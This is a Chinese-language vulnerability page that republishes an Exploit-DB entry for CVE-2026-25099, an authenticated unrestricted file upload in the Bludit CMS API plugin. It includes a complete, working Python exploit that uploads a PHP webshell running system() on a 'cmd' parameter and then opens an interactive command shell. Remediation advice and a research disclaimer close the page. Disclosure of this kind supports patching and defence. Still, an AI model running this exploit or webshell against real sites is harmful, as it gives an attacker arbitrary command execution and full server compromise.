[webapps] Bludit CMS 3.18.4 - RCE

CVE-2026-25099

Bludit CMS API插件未限制上传文件类型导致认证用户RCE

Critical · CVSS 9.1

📋 漏洞基础信息

CVECVE-2026-25099
漏洞类型未限制文件上传
受影响版本Bludit CMS < 3.18.4
危害等级Critical · CVSS 9.1
发布日期2026-05-07
提交者Yahia Hamza (https://yh.do)
来源Exploit-DB 原文 ↗

🔬 漏洞根因

Bludit CMS API插件的uploadFile()函数未对上传文件的扩展名和内容进行任何验证,允许通过POST /api/files/<page-key>上传任意类型的文件,包括PHP webshell。

🎯 攻击场景

前置条件:拥有有效的API token(可通过管理员面板获取或通过配置错误/日志泄露获得)。步骤:1. 通过GET /api/pages获取一个有效页面key;2. 使用该页面key和token,通过POST /api/files/<page-key>上传恶意PHP webshell;3. 访问上传的webshell URL(位于bl-content/uploads/pages/<page-key>/下),通过cmd参数执行系统命令。成功标志:在响应中看到命令执行结果。

💥 漏洞影响

攻击者可以上传并执行任意PHP代码,实现远程命令执行,完全控制服务器(www-data权限),导致数据泄露、服务中断或进一步横向移动。

⚔️ 原始 PoC

PoC首先定义get_page_key()函数,通过GET请求/api/pages获取第一个页面的key;upload_shell()函数构造随机名称的PHP webshell,通过POST /api/files/<page-key>上传,MIME类型设为application/x-php;execute_command()函数访问webshell URL并附加cmd参数,从响应中提取<pre>标签内的输出。main()函数依次调用上述函数,失败则退出,成功则进入交互式shell循环。

# Exploit Author: Yahia Hamza (https://yh.do)
#
# Description:
# Bludit CMS API plugin allows an authenticated user with a valid API token
# to upload files of any type and extension via POST /api/files/<page-key>.
# The uploadFile() function performs no file extension or content validation,
# allowing upload of PHP webshells that execute as www-data.
#
# The API token is generated when the API plugin is activated and is visible
# to users with admin panel access. Tokens may also be exposed through
# misconfiguration, log files, or other application vulnerabilities.
#
# Fixed in Bludit 3.18.4.
#
# Usage:
#   python3 CVE-2026-25099.py -u http://target -t API_TOKEN
#   python3 CVE-2026-25099.py -u http://target -t API_TOKEN -c "id"

import argparse
import requests
import sys
import random
import string


def get_page_key(base_url, token):
    """Retrieve a valid page key from the Bludit API."""
    try:
        r = requests.get(
            f"{base_url}/api/pages",
            params={"token": token},
            timeout=10
        )
        if r.status_code == 200:
            data = r.json()
            if data.get("data") and len(data["data"]) > 0:
                return data["data"][0]["key"]
    except requests.RequestException as e:
        print(f"[-] Connection error: {e}")
    return None


def upload_shell(base_url, token, page_key):
    """Upload a PHP webshell via the unrestricted file upload endpoint."""
    shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php"
    shell_content = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>'

    try:
        r = requests.post(
            f"{base_url}/api/files/{page_key}",
            data={"token": token},
            files={"file": (shell_name, shell_content, "application/x-php")},
            timeout=10
        )
        if r.status_code == 200:
            data = r.json()
            if data.get("status") == "0":
                shell_url = f"{base_url}/bl-content/uploads/pages/{page_key}/{shell_name}"
                return shell_url, shell_name
    except requests.RequestException as e:
        print(f"[-] Upload error: {e}")
    return None, None


def execute_command(shell_url, cmd):
    """Execute a command via the uploaded webshell."""
    try:
        r = requests.get(shell_url, params={"cmd": cmd}, timeout=10)
        if r.status_code == 200 and "<pre>" in r.text:
            return r.text.split("<pre>")[1].split("</pre>")[0].strip()
    except requests.RequestException:
        pass
    return None


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-25099 - Bludit CMS API Unrestricted File Upload to RCE"
    )
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://target)")
    parser.add_argument("-t", "--token", required=True, help="Bludit API token")
    parser.add_argument("-c", "--command", help="Command to execute (omit for interactive shell)")
    args = parser.parse_args()

    base_url = args.url.rstrip("/")

    print("[*] CVE-2026-25099 - Bludit CMS API File Upload to RCE")
    print(f"[*] Target: {base_url}")

    # Step 1: Get page key
    print("[*] Retrieving page key...")
    page_key = get_page_key(base_url, args.token)
    if not page_key:
        sys.exit("[-] Failed to retrieve page key. Check URL and token.")
    print(f"[+] Page key: {page_key}")

    # Step 2: Upload webshell
    print("[*] Uploading webshell...")
    shell_url, shell_name = upload_shell(base_url, args.token, page_key)
    if not shell_url:
        sys.exit("[-] Upload failed.")
    print(f"[+] Shell uploaded: {shell_url}")

    # Step 3: Verify RCE
    print("[*] Verifying RCE...")
    test = execute_command(shell_url, "id")
    if not test:
        sys.exit("[-] RCE verification failed. Shell may not be accessible.")
    print(f"[+] RCE confirmed: {test}")

    # Step 4: Execute command or interactive shell
    if args.command:
        output = execute_command(shell_url, args.command)
        if output:
            print(output)
    else:
        print("\n[+] Interactive shell (type 'exit' to quit)\n")
        while True:
            try:
                cmd = input("shell> ")
                if cmd.strip().lower() in ("exit", "quit"):
                    break
                if not cmd.strip():
                    continue
                output = execute_command(shell_url, cmd)
                if output:
                    print(output)
                else:
                    print("(no output)")
            except (KeyboardInterrupt, EOFError):
                break

    print(f"\n[*] Shell: {shell_url}")


if __name__ == "__main__":
    main()

🔬 深度技术分析

PoC首先定义get_page_key()函数,通过GET请求/api/pages获取第一个页面的key;upload_shell()函数构造随机名称的PHP webshell,通过POST /api/files/<page-key>上传,MIME类型设为application/x-php;execute_command()函数访问webshell URL并附加cmd参数,从响应中提取<pre>标签内的输出。main()函数依次调用上述函数,失败则退出,成功则进入交互式shell循环。

🛡️ 修复建议

升级至Bludit 3.18.4或更高版本;临时缓解措施:限制API插件仅对可信用户开放、定期轮换API token、在Web服务器层阻止上传.php文件到bl-content/uploads/pages/目录。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-09 16:55 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)